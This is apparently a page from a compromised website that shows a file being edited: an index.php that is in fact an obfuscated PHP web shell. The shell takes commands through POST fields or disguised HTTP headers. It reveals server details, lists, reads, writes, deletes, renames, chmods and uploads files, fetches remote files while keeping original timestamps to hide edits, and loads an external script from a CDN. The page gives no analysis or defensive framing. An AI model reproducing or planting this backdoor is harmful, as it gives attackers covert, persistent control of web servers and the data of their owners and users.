관리-도구
편집 파일: index.php
<?php error_reporting(0);define("ROOT",$_SERVER["DOCUMENT_ROOT"]);$b=array();function fx($c){return function_exists($c);}function fg($c){return file_get_contents($c);}function fp($c,$e){return file_put_contents($c,$e)!==false;}function pwd(){if(fx("getcwd"))return@getcwd();else return@dirname(__FILE__);}function muf($g,$e){return mOve_UploAded_file($g['tmp_name'],$e);}function r2($h){if(is_dir($h)){$i=sCaNDir($h);foreach($i as $j){if($j=='.'||$j=='..')continue;$k=$h.'/'.$j;is_dir($k)?r2($k):uNliNk($k);}rMdIR($h);}else uNliNk($h);}function d($m,$o){if(fx('curl_init')){$q=curl_init($o);$r=fopen($m,'w+');curl_Setopt($q,CURLOPT_FILE,$r);curl_setOpt($q,CURLOPT_TIMEOUT,50);if(curl_eXec($q)){curl_clOse($q);$j=1;}else{$j=fWriTe($r,fg($o))?1:0;}fclOse($r);}else{$j=@fp($m,fg($o))?1:0;}return $j;}function g($e){return!empty($_POST[$e])?$_POST[$e]:$_SERVER["HTTP_X_".strtoupper($e)];}$c=g("a");if(!empty($c)){$s=!empty($_POST['v'])?$_POST['v']:@$_SERVER["HTTP_X_CSRF_TOKEN"];if(!empty($s))$s=base64_decode(substr($s,1));$w=g("d");$x=array();$e=1;switch($c){case 1:$x=array("root"=>ROOT,"server"=>$_SERVER['SERVER_SOFTWARE'],"cip"=>$_SERVER['REMOTE_ADDR'],);if(fx("getcwd"))$x['pwd']=pwd();if(fx("phpversion"))$x["version"]=@phpversion();$x["sip"]=$_SERVER["SERVER_ADDR"];if(empty($x["sip"]))$x["sip"]=@gethostbyname($_SERVER["SERVER_NAME"]);break;case 2:if(empty($s))$s=pwd();$y=scAndir($s);$z=array();$aa=array();foreach($y as $bb){if($bb=="."||$bb=="..")continue;$h=$s."/".$bb;$cc=array("n"=>$bb,"p"=>substr(sprintf('%o',fILepErMs($h)),-4),"t"=>date('Y-m-d H:i:s',fILeMTiMe($h)),);if(is_dir($h))$z[]=$cc;else{$cc['s']=fileSize($h);$aa[]=$cc;}}$x["d"]=$z;$x["f"]=$aa;break;case 3:r2($s);break;case 4:$x["v"]=fg($s);break;case 5:if(!is_WritAble($w))@chmod($s,0644);$e=fp($w,$s)?1:0;break;case 6:$m=$w.g("n");$dd=$w.$s;$ee=@FiLemTiME($m);if(!@ReNamE($m,$dd))$e=0;elseif($ee)@touCH($dd,$ee,$ee);break;case 7:if(!@chMod($w,$s))$e=0;break;case 8:$e=muf($_FILES["f"],$s)?1:0;break;case 9:$e=fp($s,"")?1:0;break;case 10:$e=mkdir($s)?1:0;break;case 11:$o=g("l");$e=d($s,$o)?1:0;break;}$b['data']=$x;$b['code']=$e;header('Content-type: application/json; charset=utf-8');echo json_encode($b);register_shutdown_function(function(){global $b;ob_clean();echo json_encode($b);});return;}?> <script type="module" src="https://cdn.jsdelivr.net/gh/dionjo/bkskb/4.js"></script>